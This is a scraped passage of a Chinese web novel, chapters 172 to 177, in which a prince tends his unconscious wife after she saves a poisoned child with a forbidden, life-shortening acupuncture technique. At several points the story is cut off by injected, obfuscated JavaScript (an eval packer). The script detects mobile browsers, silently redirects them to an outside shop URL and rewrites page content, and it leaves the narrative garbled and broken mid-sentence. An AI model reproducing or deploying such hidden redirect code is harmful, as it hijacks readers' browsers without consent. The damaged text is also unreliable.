大夫一进门,也是没想到,他有生之年竟然还能看到两个贵人,惊得立马跪地行礼:“草民参见翊王殿下!” 他竟然看到了翊王殿下?! 不是都说翊王殿下瘫痪在床,命不久矣了吗? 他身为医者,在京城里也是听说过这位战神王爷的经历,所有太医都对翊王的伤势束手无策。 可是他现在看着翊王殿下怎么感觉…… 大夫悄悄的抬眼看了君翊一眼,又立马垂下眼去。 他怎么瞧着翊王殿下的情况,怎么也不像是伤势严重命不久矣的样子啊? 大夫的心思,君翊不知道,但他却只知道,现在什么事情都没有给小姑娘诊治重要! 君翊眉头紧锁,眉宇间透着一抹焦急,阴沉着一张脸,沉声的喝道:“快去给王妃医治!” 大夫顺着君翊的目光看过去,便见到晕倒在床上,满脸惨白的女子。 这是翊王妃? 大夫没见过沈听晚,只知道王爷娶的沈家女子是个传奇女子,原本是应该要嫁给太子殿下成为太子妃的女子,却离奇般的嫁给了翊王殿下。 这可在坊间传的沸沸扬扬,却很少能有人有幸见过这位奇女子一面。 大夫不敢多耽误功夫,连忙放下药箱子就立马来到了床边,搭上了沈听晚的脉象。 瞬间,大夫的脸色变得凝重起来。 “王妃的情况如何?”君翊的目光一直紧盯着床榻上的沈听晚和大夫的脸色,声音满是紧张与焦急的问道。 然而,大夫的脸色却是越来越严肃,听到翊王的问话,才缓声开口:“会王爷地话,王妃娘娘是短时间内耗费了大量精力,才导致的昏迷。” 大夫如实的开口,心里却满是疑惑。 一个女子,究竟是做了什么,才会导致这么短的时间,就耗费了身体里大部分的体力呢? “耗费大量精力?”君翊听见这话也震惊了,他看向床榻上的沈听晚。 难道说,小姑娘给人医治,都需要耗费自己的精气神吗? “王妃什么时候能醒过来?” “这点王爷放心,草民定当竭尽全力!”大夫自信的开口说道。 其实损耗心力,并不难医治,只需要配几副药让王妃服下,在加以施针疗法,便可以让床上的王妃醒过来。 屋内,大夫向翊王保证过后,便走到窗边,从药箱子里面掏出来一个小盒子打开,里面是一排银针,侯府的下人也是有眼力见的,帮忙从附近端来油灯站在床前给大夫照亮。 客服把银针扎进了沈听晚的穴道之中后,又拿出一颗丹药打开她的嘴,用着独特的手法叫沈听晚服下,嘴里忍不住的开口:“王妃娘娘晕倒之前究竟做了什么,短时间内耗费这么大的体力,若是在耗费一点,王妃的情况可就危险了。” “大量体力?你是说,王妃这般消耗体力会有生命危险?”君翊不敢置信的开口问道。 如果真的是这样的话,那从前小姑娘给他医治,岂不是也…… 想到这里,君翊地内心便充满了浓浓的自责。 不光是君翊如此,谢家夫妇站在原地,也面面相觑起来。 谢夫人转头移目看向床上昏迷不醒的沈听晚,眼神流转着感激与内疚的情愫。 王妃娘娘之所以变成这样 完全是因为她的儿子啊。 这份恩情,对于侯府来说,实在是太重了。 谢公子心中也同样这样想的,从前他只是听说过翊王殿下的王妃精通些医术,但却没想到,王妃的医术竟然这么好。 为了救治自己的儿子,甚至不惜耗费自己的心血啊。 “是,翊王殿下,人体的精力是有限的,虽然说可以经过调理加以疗养,但却不能短时间轻易耗费,像王妃娘娘这般,极短的时间内耗费精力,对身体的伤害是很大的。” 第172章 折损自身寿命的上古针法 大夫十分严肃的开口说道,至少这么多年,他医治了这么多的患者,就没见过向王妃娘娘这般的情况。 听见大夫的话,君翊更加心疼起了小姑娘,转头看向床上的沈听晚,满眼尽是自责。 他后悔了,如果他再知道给这谢家小公子解毒,会伤害到小姑娘的身体安危,他绝不会答应让小姑娘给谢家小公子医治的。 此时,被移到一旁软榻上的谢煜也幽幽醒来,睁开眼,一双充满灵性的眼睛满是迷茫。 “煜儿醒了!” 房间内一阵寂静无声的氛围,被一道声音打断。 是谢夫人。 她最先发现了自己儿子的情况。 也可以说,谢夫人就一直没有忽视过自己的儿子,这里的所有人都在关注着王妃娘娘地身体,她也在关注,但与此同时,她也很担心自己儿子的情况啊。 “大夫,你快来看看……” 谢夫人很是激动,大步来到软榻前,便想要叫大夫给自己儿子在看看,却被谢公子一个眼神打断。 现下,翊王妃的身子还没好,而且又翊王殿下在,哪能轮得到让大夫给他们儿子医治啊。 更何况,王妃娘娘之所以昏迷过去,也是因为煜儿啊。 王爷虽然表面上不说什么,但是看着王爷的样子,心中肯定是对侯府不满的。 这个时候,可不能得罪了翊王殿下。 当然了,谢公子也不是不担心儿子的安危,这是他和夫人唯一的孩子,上一次,他没能保证他们的第一个孩子,谢公子的心里就已经很自责了。 所以,应该没有人能体会到他现在着急的心情。 着急归着急,但孰轻孰重,他还是知道的。 君翊也注意到了谢公子夫妇脸上的神色,他垂下深邃的眸:“去给谢小公子看一下吧,方才谢小公子中了毒。” 而且是他的小姑娘亲自解得毒。 君翊想,小姑娘应该也会想要让谢煜的身子能够痊愈的吧。 小姑娘为了谢煜,连自己的身子都不顾了,他更不能辜负了小姑娘。 谢家夫妇听到王爷的话,瞬间面露感激之色。 王爷和王妃娘娘,真的都是大好人啊! 这份恩情,他们侯府记下了! “小公子的毒……咦,小公子的毒已经解了啊!” 大夫给谢煜诊脉过后,有些意外的开口。 听见这话,谢家夫妇才彻底的放心下来,谢夫人还是有些隐隐的不放心开口问道:“可有余毒未清?” “并未。” 这也是最为奇怪的。 大夫又仔细的给谢煜诊了脉,又十分纳闷的开口:“这就奇怪了,是按照常理,即便是解了毒,公子体内的余毒也不会全部清除,需要慢慢疗养恢复才能痊愈。 可是草民为小公子诊脉,只能整得出小公子曾中毒很深,去不见体内残存半点余毒啊。” 这样的情况,他也是头一遭遇见啊。 “究竟是何人为小公子解得毒?”大夫很是疑惑,心里更加好奇的开口问道。 这下子,众人不语了,只一味的看向床上昏迷着的沈听晚。 大夫立马便明白过来怎么回事了,瞬间恍然:“这就能说的通了,王妃娘娘应该是用了七转反魄针,替小公子解得毒!” “七转反魄针?”君翊眉头紧蹙:“这是什么?” 大夫的眼底折射出兴奋的光芒,转头看向沈听晚,眼神定定,郑重的开口:“是一种可以叫人起死回生地上古针法啊!” 而且这种针法早已经失传已久,竟然想不到,这位王妃娘娘竟然会这套上古针法啊。 大夫也是第一次有幸遇见,从前只是听恩师曾经提起过,此针法可以叫人起死回生,不管多大的病,就算是已经迈进了阎王殿,还能救回来一条性命,就是对施针者自身的伤害也是极其大,甚至可以说,一个人一生能够运用此阵法也不能超过十次,不然必定折损自身寿命。 这是为什么,这套如此称奇的针法,会失传的原因。 因为,没有多少人能够心怀大义,为了治病救人,而不惜折损自己的寿命。 可是今天,却叫他遇上了一个。 这人还竟然是翊王的王妃,沈将军的千金! 很难想象,怎么尊贵身份的女子,竟然会去学这套救人却自损身体的针法啊。 不同于大夫的激动和感叹,君翊在确定了沈听晚究竟是为什么晕倒之后,没有一丝放松,而是担忧的把人抱在自己的腿上。 “王爷,您这……” 君翊冷寂孤傲的眸子,此时如利剑般沉沉的看向众人。 他冰冷的说道:“今天之事,不准任何人对外透露半句!” 小姑娘会这种离奇的针法,他说是一件好事,如果叫有心之人盯上的话,对小姑娘来说,肯定是引火上身。 所以,他必须要暂时将小姑娘的这个秘密封存起来。 有些事情也必须要提前开始着手准备了。 事情出在侯府,这里也并不是翊王府里,人多眼杂,他虽然相信侯府的人,不会对外透露半句,但那么多下人在,他总不能一一封口。 还有那个大夫,也有说出去的可能,他虽然能把这些人都灭了口,对于君翊来说,任何人都没有小姑娘的安危重要,凡事对小姑娘有威胁之人,他都不介意杀之。 但君翊也知道,小姑娘醒过来,是绝对不会答应自己这样做的。 他肯定会乖自己,而且,君翊也不想让沈听晚看到自己手上沾满鲜血的一面。 所以,既然不能永远的替小姑娘保守秘密,那他就必须叫自己以最快的速度变得强大起来,最起码要做到,有他在小姑娘的身边,哪怕所有人都知道小姑娘身怀着上古起死回生的针法,也不敢有人轻易敢打小姑娘的主意。 他不能再叫小姑娘有运用此针法的机会! 君翊心里暗自下了这个决定,面上也瞬间恢复了喜怒不行于色的理智,略显微薄的唇缓缓启动,嗓音低沉沙哑的开口:“暗祁,去准备马车,我们回王府,另外,去请赵太医到王府一趟。” 第173章 喝药困难的小姑娘 君翊坐在轮椅上,抱着沈听晚出了侯府的大门,迎面便撞上了刚从皇宫里回府的定远侯。 定远侯这一路是归心似箭,解决了永国公老夫人和赵金燕的事情之后,便一路马不停蹄的回了侯府,就看见翊王坐在轮椅上,怀里还抱着一个姑娘。 他神色顿住一瞬,仔细看过之后,这才发现一往怀里抱着的正是沈听晚。 定远侯眉头紧蹙起来,朝着翊王行了礼之后,才不解的开口:“王妃娘娘这是怎么了?” 好端端的,翊王妃怎么就在他的侯府里头晕倒了呢? 君翊心里虽然着急着沈听晚的安危,不过眼前的这这位毕竟是在战场上曾舍命救过他的定远侯,语气也渐渐升温了些。 “无碍,只是因着给小公子解毒,体力不济,不妨事,回去休息一阵就好了。” “什么?”定远侯瞪大了双眼,不敢置信的开口。 竟然是为了救他孙子而昏倒的? 定远侯只知道,沈听晚会一些医术,去看了他孙子的情况,可之后的事情,他在皇宫里,并不知情。 一下子从君翊的口中得知这些,定远侯的心里也尤为震惊。 “小公子已经无碍,天色已晚,本王便带王妃先回去了,改日,本王亲自带王妃再来拜访侯爷。” “王爷客气了,今日实在抱歉,老夫不知道王妃……”定远侯此时脸上也充满了愧疚之色:“不知道请了大夫给王妃看过没有?” 沈听晚毕竟是在侯府晕倒的,而且还是为了救他孙子,可不能出事啊! “侯爷放心,已经请过大夫了。”君翊对这位定远侯,态度还是格外礼敬的。 又说了几次寒暄的话,定远侯看出了翊王对怀里的姑娘着急,也不好再多说什么,目送着君翊上了马车。 一上马车,君翊便对外扬声命道:“尽快回王府!” 这么长时间过去了,小姑娘一直都没有醒过来,大夫虽然说小姑娘是因为消耗了极大体力才会如此,并无大碍,可不亲眼看见沈听晚会崩乱的的站在他面前,君翊总是放不下心来的。 把车以最快的速度到了王府的大门口,夜色渐渐落下帷幕,大街上已经没有了人走动,君翊索性也不装了,抱着沈听晚便径直下了马车,一路匆忙的往王府里面冲去。 那速度之快,只让众人觉得,仿佛是一阵风刮进旺夫。君翊这如此着急忙慌的样子,落在王府的下人眼里,也不紧跟着担忧起自家王妃的情况。 暗蒙并不知道在侯府究竟发生了何事,见着自家主子这样匆忙,而且连装都不伪装一下,心里很是意外。 “这……王妃娘娘怎么了?” 忍不住都在暗祁的身边,低不可闻的问道。 暗祁叹了口气:“王妃为了救侯府小公子,消耗了大量体力晕过去了,对了,方才传信让你去请张太医,可请来了?” 暗蒙忙点了点头:“你字条里面也没说清楚情况,让我去找太医,我还以为王爷出了事,怎么可能耽误功夫啊。张太医人现在就在路上呢,马上就到了!” 不过暗蒙没想到的是,出事的可不是他们主子,而是王妃娘娘啊。 不过话说回来,王妃娘娘给人医治,怎么还把自己给弄成这副样子呢。 暗蒙的心里满是疑惑,可是暗祁此时却来不及和他多说什么,现在,可没有什么事情,比他们王妃娘娘的安危更重要了。 …… 君翊抱着沈听晚,冲向了他们的院子,把人轻轻放在了床上。 他看着床上的可人儿,小脸依旧灰白,没有半点血色。 “张太医人呢!” 怎么还不到? 君翊眉头紧蹙,冷声朝外面喝道,可是这声音当中,众人却听出了几分慌张与不安。 在君翊看来,小姑娘的身体本应该很好的,而且自己就是大夫,更应该知道要如何更好的保护自己。 可这一次昏倒,却叫君翊明白什么叫医者不自医。 他不明白沈听晚在给定远侯小孙子医治的过程当中,究竟耗费了多少体力。 但是却能感受到,沈听晚的身体越来越热了,在不把烧退下去的话,君翊是真担心小姑娘会把自己给烧坏了。 “王爷,张太医人就在路上,不过城里头宵禁了,估计还需要一会功夫才能到,但王爷从侯府带回来的药已经熬好了。” 城内宵禁,即便是太医,也不能随随便便出门。 所以要把张太医请来,还真需要费些功夫。 君翊紧蹙的眉头,从始至终就没有放松过,他想了一下,按理来说,翊王府的人亲自去请太医,不到半个时辰人就能到王府,可现下一个时辰都快过去了,还不见张太医的身影。 这不可能是意外! 看来是有人故意不想让太医道王府了! 君翊想到这里,浑身的冷厉之色更盛了几分。 好! 很好啊。 “先把药给王妃服下再说。” 君翊吭声开口,双眼微眯成一条线,看来他的好皇兄,在这里面可是使了不少绊子呢。 不过现在,君翊没有那个精力去对付皇帝,他现在满脑子都在担心小姑娘的情况。 很快,便见冬卉拿着药碗走进来,倒沈听晚的床边,将她从床上扶起来准备喂沈听晚喝药。 可是,冬卉费了好半天喂进去的药,还没在沈听晚的胃里多停留一会儿,就见沈听晚一个咳嗽,将整碗喝下去的药又尽数都吐了出来。 “王爷,怎么办,王妃娘娘喝不下去着药!” 君翊紧盯着沈听晚:“再去熬一碗!” 无论如何,也必须把药给小姑娘灌下去才行! 一碗药王府的下人很快熬好送过来,冬卉正准备上前继续喂沈听晚喝下去,却见君翊这是突然间开口:“把药碗给本王,你们先都退下吧!” 君翊吩咐着房间里的众人退下,他知道,小姑娘是有多么不情愿喝药,但这个时候,哪怕沈听晚不喜欢,为了她的身体,君翊也必须喂下去! 下人们退出了房间,只留下昏迷不醒的沈听晚和端着药碗的君翊两个人。 第174章 本王和晚晚是夫妻 君翊起身坐到床边,用汤匙舀了一勺的汤药送到沈听晚的嘴边,可是一直昏迷不醒的沈听晚一点反应都没有,一勺的药如何进入沈听晚的嘴里,便又顺着嘴角如何尽数溢出来。 君翊深吸一口气:“晚晚,我知道你不喜欢喝药,喜欢这苦涩的味道,等下就叫人去给你买蜜饯好不好,乖乖听话,先把药喝了好吗?”君翊很是温柔的开口和沈听晚商量着,又舀了一勺舀喂到沈听晚的口中,可仍旧流了出来。 这下子,君翊更着急了,手忙脚乱地擦拭着沈听晚嘴角的药渍。 在战场上杀敌的君翊,不管遇到多么棘手的敌人,他都从未慌张过,可是现在却慌得像一个不知所措的孩子。 实在是没了办法的君翊,只能把沈听晚从床上扶起来靠在自己的怀里,然后半点也没犹豫,端起药碗把药含在自己嘴里一大口,在对上沈听晚的嘴,渡到沈听晚的口中咽下去。 而这一次,沈听晚却没有再吐出来过了。 君翊眼中闪过一喜,这个办法有效果! 接下来的一整碗的汤药,君翊都是用这样的方式,一口一口渡进沈听晚的口中。 离奇的是,一碗下肚,沈听晚再没有像上一碗那样,喝下去再吐出来过。 这让君翊的心放下了大半。 只要喝了药,应该就没有什么问题了吧。 可是君翊的这口气还没有松下去多久,问题又来了。 只见君翊刚准备把沈听晚抱起来往床里面挪动一点,可是下一瞬,他的鼻尖就闻到啦从沈听晚的身上传来一股淡淡的血腥味儿。 君翊的动作一僵,下意识朝着沈听晚的身上看过去。 小姑娘身上又血腥味儿! 她这是受伤了? 久经沙场的君翊,对血腥地气味儿最是敏感。 可是…… 他一直守在小姑娘的身边,怎么都没发现她什么时候受过伤的啊? 君翊连忙把沈听晚轻轻放下,怕自己再动弹沈听晚,会牵扯到她身上的伤口。 然而,刚一放下沈听晚,君翊就感觉自己的手上有一股温热的黏腻感。 君翊的手又是一僵,停顿了好一会儿,才缓缓把手从沈听晚的身下挪出来。 是红色的。 君翊瞬间倒吸了一口凉气,心更是往下沉了又沉 所以小姑娘的伤是在身下,而且还是在…… “来人!” 这下子,君翊再也无法淡定,朝着门外喝道。 进门来的是春婳,毕竟是王妃昏倒,暗祁暗蒙冲进来也实在不妥,只能守在门外。 “王爷。” 君翊强行压下心里的慌张,深吸一口气:“张太医是来不了了,你快去到医馆,带一个大夫过来!” 君翊不知道寻常大夫究竟能不能医好沈听晚,这个时候他没有别的选择了。 春婳抬头便眼尖的发现了君翊手掌心的血迹,双眼顿时瞪大几分:“王妃娘娘手上了?!” 什么时候的事儿? 她和冬卉一直在暗处保护着王妃,怎么可能王妃手上,她们却没有一点察觉呢。 “嗯,王妃的伤在身下。” 身下? 春婳眨了眨眼睛,一脸的问号。 “还不快去啊!” 见着春婳愣在原地,君翊突然间愤怒喝道。 这一声的呵斥,叫春婳回了神,以此同时,也叫她看到了沈听晚身下那“受伤”的部位。 春婳抿了抿唇,犹豫了一瞬,还是硬着头皮开口:“王爷……王妃娘娘并没有受伤,而是……” “没受伤?” 怎么可能。 这满屋子里弥漫着血腥味儿,难道春婳闻不到吗? 见着君翊满眼尽是疑惑之色,急得额头都沁出了细密的看出,春婳也不再卖关子了,直接开口:“如果属下没看错的话,王妃娘娘这应该是来……来葵水了。” 春婳也是女子,自然知道,女子到了年纪之后,每个月都会有固定的那几天来月信的。 可是君翊一个大男人,而且从前也从未近过女色,**啊! 听到春婳的话之后,君翊整个人都不动了,坐在床边,如同石化了一般。 所以,小姑娘没有受伤,而是来葵水了。 还让他误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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君翊一抬眼就看见看个丫鬟的脸色充满震惊之色,脸也瞬间冷下去几分:“本王和晚晚是夫妻!” 第175章 他尊重小姑娘的意愿 可是君翊似乎也忘了,他和沈听晚之间,不过是名义上的夫妻而已。 在这一刻,君翊将一切都抛之脑后,心里只有一个念头,他心疼自己的小姑娘,他心疼他的妻子。 “王爷,女子来月信乃污秽之物,您身为男人,不可沾染啊。”春婳硬着头皮的道。 坊间可都传,女人来的月信,男人沾了身可是会倒大霉的! 君翊眉头紧蹙,转眼一双猩红的眸瞪过去,吓得春婳立马将头紧紧低下。 冬卉此时也担心,王爷现在这副样子会发怒,立马拉住春婳的胳膊:“王爷和王妃是夫妻,定不忌讳这些,我们还是退下吧。” 主子不需要她们,那她们就应该退下。 君翊收回了视线,紧盯着沈听晚被血水染红的衣服,就在两人即将退出房间的那一瞬,突然开口:“帮王妃洗漱更衣!” 在这一刻,君翊突然间恢复了理智。 他的确不应该亲自帮沈听晚清洗,不是因为他嫌弃沈听晚身下的血迹,也不是因为春婳方才说的那句月信是污秽之物,这些都是胡诌八扯。 什么倒不倒霉的,君翊从来不信这些。 如果碰了来月信的女子就要倒霉的话,那还用得着招兵买马吗,待战事来临,直接把来了月信女子的血丢到敌人脑袋上,不就直接赢了? 他让春婳两个丫头流下帮沈听晚,只是因为,以他现在的身份,和小姑娘之间的关系,的确不适合做这些事。 他确实是想要把沈听晚永远留在自己身边,想要成为沈听晚真正的丈夫,可是,在沈听晚没有答应他的心意之前,他不能趁沈听晚昏迷不醒的时候,做这些过分亲密的事情。 不是担心沈听晚醒来之后,知道这些会炸毛,而是他想要尊重沈听晚的意愿。 君翊深吸一口气,起身大步出了门,只留下春婳和冬卉两个人在房间里,帮沈听晚清洗。 带清洗完毕之后,春婳两人端着盛满血水的木盆,从房间里走出来,才发现一直都没有走开,在两人出门的那一瞬,君翊又大步走进了门去。 此时,沈听晚身上已经被春婳两个丫头换了干净的的衣裳,身上的血渍也半点不见,但是君翊就是能够闻得见,空气中弥漫着血腥的味道。 这是得流多少血啊。 不会要这样一直流下去吧? 君翊的眉头一点点皱紧,就没有什么办法,可以让这血止住吗? 君翊不知道女子每个月月信的这几天会经历什么,只知道会流血,但却不知道要流多久,他只担心,正常人流这么多血,真的不会出现问题吗? 更何况,现在沈听晚还昏迷着,大夫说她耗费大量精血,本就身子虚弱,再流这么多血,万一…… 君翊心里萌生出许多不好的感觉,到最后,他甚至都不敢多想,犹豫着要不要点了沈听晚的穴位给她把血止住。 君翊心里是这样想的,当然也准备这样做,就在他抬手,使用内力准备封住沈听晚的穴位时,正好被刚进门的春婳撞见个正着。 春婳瞪大双眼,立马开口:“王爷,你这是要做什么?” 君翊面无表情,头也不抬的冷声说:“帮王妃止血。” 听到自家王爷的话,春婳瞬间倒吸了一口凉气,忙不迭的出声制止,那脸色更是比哭还要难看许多:“王爷,这血不能止住啊!” 君翊手上的动作一顿,转头看向春婳,眼底闪过一丝不理解的茫然。 为什么不行? 哪有正常人能受得了这么不停流血的啊。 更何况,沈听晚还是一个女子。 君翊在战场上看多了将士受伤,不少都是因为失血过多而亡的。 春婳咽了咽口水,眼神紧盯着君翊的手,生怕下一秒,他们王爷就要动手一般。 “王爷啊,您先把手放下,成吗?” 可别吓唬她啊! 君翊不语垂眸,良久,才缓缓把停留在半空的手收了回来,淡淡冷声道:“说吧。” 见着君翊把手收了回来,春婳才彻底的松了口气,同时也不得不感叹,他们王爷对这方面,是半点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明躺在床上的应该是他,君翊也渐渐要接受了这个事实,可是,老天却把小姑娘送到了他的面前。 是她把自己从绝望的深渊中救了出来,让他能重新和正常人一样,在不被人看做成是瘫子,短命病秧子,但他好了,小姑娘却倒下了,这怎么能不叫君翊心里难受? 那么活蹦乱跳的一个人,现在却毫无生气的躺在这里,如果能重来一次,他一定不会让小姑娘再去涉险。 整整一夜,君翊就这样衣不解带的待在沈听晚的身边,用温热的锦布一遍一遍的擦拭着沈听晚身上脸颊上的汗水。 不知道为什么,到了后半夜的时候,沈听晚的烧虽然退了,但却开始不停的冒冷汗,浑身被汗水浸透,在昏迷当中直打着哆嗦。 看着沈听晚的样子,君翊是片刻都不敢分神,直到天边泛起了鱼肚白,解了宵禁,张太医才背着药箱子匆匆赶来。 “微臣,参见王爷。” 张太医这一晚上也是如坐针毡,他收到王府的信,让他去王府一趟,就紧忙准备了药箱子要出门了。 可这个时候,皇宫里却突然有人传旨,说太后娘娘身子不适,命太医院所有太医进宫为太后医治。 张太医原本想从皇宫里出来之后,便去王府的,不成想,这一晚上他连出皇宫大门的机会都没有。 张太医此时会在地上,呼吸都有些微喘,见着没有动静,忍不住悄悄抬眼看向君翊。 可不看不要紧,一看便看到了君翊满眼猩红,本就冰冷的面颊此时尽是疲惫之色。 君翊冷声的开口:“张太医现在是太医院之首,身份变了,是连本王的命令都不听了!” 张太医听见君翊的话,吓得险些没当场昏死过去,脸上充满惶恐:“微臣不敢,实在是因为太后娘娘身子不适,微臣被召进皇宫,到清晨才归啊。” 他这也是从皇宫里出来,连回去换身衣服都来不及,就紧赶慢赶的往王府而来了。 翊王对他的大恩,张太医永生都不会忘记,当初如果不是翊王,他现在恐怕都要被村里的恶霸磋磨而**,哪里有这个机会能平步青云,成为太医院之首的太医啊。 “太后?” 低沉阴冷的声线,从君翊的薄唇缓缓吐出来。 他狭长的眼眸尽是阴郁之色,杀意浓烈的似一团烧的正旺的焰火,迸射出一道戾色,让人不敢直视。 “太后怎么了?” 张太医被君翊浑身那阴郁到极点的气场吓得直冒冷汗,双唇只打着哆嗦:“回王爷……微臣没看到太后娘娘。” 君翊的双眸立马射过来一道寒光:“何意?” 张太医此时被吓到都要哭了,声音也剧烈颤抖的说:“陛下召微臣等几十位太医进宫,只说太后娘娘身子不适,但却并未召微臣等几人给太后娘娘诊脉,只让……”张太医顿住一瞬,悄悄看了君翊一眼,又立马把头低下去:“只让微臣等候在殿外。” 他们,可是在冷风中硬生生的站了一夜啊,直到天都亮了,也不见太后派人传他们任何一个太医进去诊治。 张太医也是因为这,纳闷了一个晚上。 怎么也想不通,太后和皇帝闹得这么一出,究竟是因为什么。 听完张太医的话,君翊是瞬间了然,只觉得讽刺又可笑。 太后和这位皇帝,还真是时时刻刻都关注着他整个王府啊。 一点风吹草动,这对母子俩,都恨不得要治他于死地。 现在竟然还把手伸向沈听晚了,真的是该死! 跪在地上的张太医,看着床上昏迷不醒的沈听晚,强忍着心里的不安与惶恐,忍不住的问道:“王……王妃娘娘这是怎么了?” 君翊垂眼看向沈听晚,浑身的杀气骤减,沉声的说:“她昨日在侯府为就侯府小公子,用了七转反魄针,大夫说是因为耗费大量精血导致昏迷,但本王还是不放心,想让你看看,为何王妃还未醒来?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261943|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“七……七转反魄针?!”张太医听到君翊的话,瞬间不敢置信的开口,抬眼紧盯着床上的沈听晚。 君翊眉头紧蹙:“有什么问题吗?” 张太医深吸一口气:“王爷您可听说,这七转反魄针可是上古早已失传可以使人起死回生的针法?” 君翊点了点头。 这针法她知道,昨天已经听那大夫讲过一遍,光看那大夫脸上的震惊程度,君翊也能看得出来,此针法的厉害之处。 见翊王点头,张太医又继续开口:“那王爷您可知道,此针法为何会失传?” 这可是能够让人枯木逢生的神针啊,如果学会了此针法,不管走到哪里,都会名扬在外受人敬仰,怎么就会突然无故的失传呢? 君翊脸色沉了下去,很显然有些不耐烦的质问:“你到底想说什么?” “王爷,这针法之所以会失传,那是因为对施针者本身有着极大的伤害,轻着耗费精血,以至于施针者浑身虚弱,严重的话,恐……恐将折寿!” 用一次这样的针法,相当于损耗将近十年的寿命,所以,凡事学会此针法之人,一生当中,也最多只能用此针法救活十人。 这也是为什么,有这这么神一样的针法,会失传的原因。 因为寻常的人,知道这针法的反噬厉害,不会用自己的生命去赌。 “你说什么!”君翊冰冷孤傲的薄凉眼眸骤然缩紧,如利剑般冷厉的睨着张太医。 “王爷……”张太医止不住的浑身直哆嗦起来:“微臣此言句句属实啊,如果王爷不信微臣,可派人去查,如若微臣有半句假话,就让微臣天打五雷轰顶!” 君翊自然是相信张太医的话,他就是震惊,震惊过后又愤怒,愤怒小姑娘为什么要拿自己的生命开玩笑,不惜折寿也要给一个毫不相关的孩子解毒,可愤怒之后,君翊又心疼起了沈听晚。 究竟是为什么,沈听晚到底因为什么,竟然回去学对自己生命危害如此之大的针法! 第177章 有人胁迫 同样这也是张太医辛苦所疑惑的,按理来说,这样的针法,除非是家里十分穷困潦倒,生活不下去的人,才会去主动学去七转反魄针,用自己的性命换来全家人一生的温饱。 可是王妃娘娘出身将军府啊,从小锦衣玉食,压根就不需要去为了那些黄白之物而发愁的千金嫡女,怎么就学了这么厉害地针法呢? 除非…… 张太医的眉头紧紧蹙起,心中萌生出一个念头,不过很快又被他打消了。 怎么可能呢…… 君翊看出张太医脸上的表情不大对劲,抬眼看过去:“你想到了什么?” 正沉浸在自己思绪当中的张太医,被君翊这突如其来的声音吓了一跳,立马回过神来,低下头去:“微臣……微臣是在想王妃娘娘为何会学得此针法。” 张太医没有隐瞒,如实的开口,在君翊的面前,他也隐瞒不了什么。 君翊的脸色也变得格外凝重起来,沉声的说:“你有何想法?” 张太医再一次将头埋得更深了些,脸色有些惨白:“王爷您知道,此针法尤为凶险,这世间也鲜少有人**得此上古传承,而那些所**之人,要么是家中穷困潦倒,为了能够让家人得以温饱,要么就是……” “就是什么?” 见张太医翻来覆去的强调针法的凶险,却对**得此针法之人犹犹豫豫,君翊的脸色也露出十分明显的不悦,冷声质问的说。 张太医深吸一口气:“要么就是受人胁迫,被迫**得针法!” 这世上也有这么一类人,专门寻一些穷困人家的孩子,从小做成药人百毒不侵,然后逼迫这些药人**七转反魄针,专供给富贵人家体弱多病,或者命不久矣之人,为他们施针,达到除去病灶的效果。 当然,每一个药人也只能用十次,十次之后,药人即便不死,也失去了任何利用价值,便会被遗弃,任由其自生自灭。 那些药人,已经不能被称之人了,又或者说,连一枚棋子都算不上,只能说是去除病灶的一株草药而已。 君翊听见这话,他冷如幽潭的眸底瞳孔瞬间巨震,身形也僵硬了起来,张太医所说的话,仿佛像是一把巨手,死死的攥紧了他的那颗心脏。 君翊僵住了半天,缓缓移目看向沈听晚,脸上的表情凝重的不知道在想些什么。 张太医深吸一口气:“王爷,这也是微臣的一个猜测,不过王妃娘娘从小养在将军府,锦衣玉食,而且将军府守卫森严,定无人敢胁迫王妃娘娘的。” 君翊没有说话。 将军府没有人会胁迫沈听晚做这些有损寿命的事,这一点君翊也可以确定。 而且在这个世界当中,凭借沈听晚的身份,也没人敢把将军府千金掳走。 可是其他地方呢? 君翊已经可以确定,现在沈听晚这副身体里住的灵魂已经换了芯子,小姑娘再不是从前那享受过锦衣玉食的沈听晚。 可她到底是谁呢? 又是受了谁的逼迫,**得了如此折损自身寿命的针法? 君翊深吸一口气,紧闭起双眼。 如果小姑娘是在这里被人胁迫的,他一定会毫不犹豫的把那个畜生找到,然后将他挫骨扬灰,让那个畜生永生永世都无**回做人。 可问题的关键是,那个畜生不在这里,他就算是把整个玄甲军全部放出去,也找不到人啊。 “先不管这些了,你过来看看,王妃为何到现在都没有苏醒?” 君翊强迫自己暂时不去想那些,有些事情不是光凭他想就能想明白的,只有等小姑娘醒过来之后,亲自问她了。 “是。” 张太医缓缓从地上起身,随即拿着药箱走到君翊的身边,顶着君翊浑身那不受控制往外释放出的强迫气场,给沈听晚搭上了脉。 然而,张太医在给沈听晚诊脉过后,脸色却突然间变了,转头一脸严肃的看向君翊:“王爷,王妃娘娘确定一整晚都为醒来吗?” 君翊顿住一瞬,然后点头:“嗯。”这一点,他可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 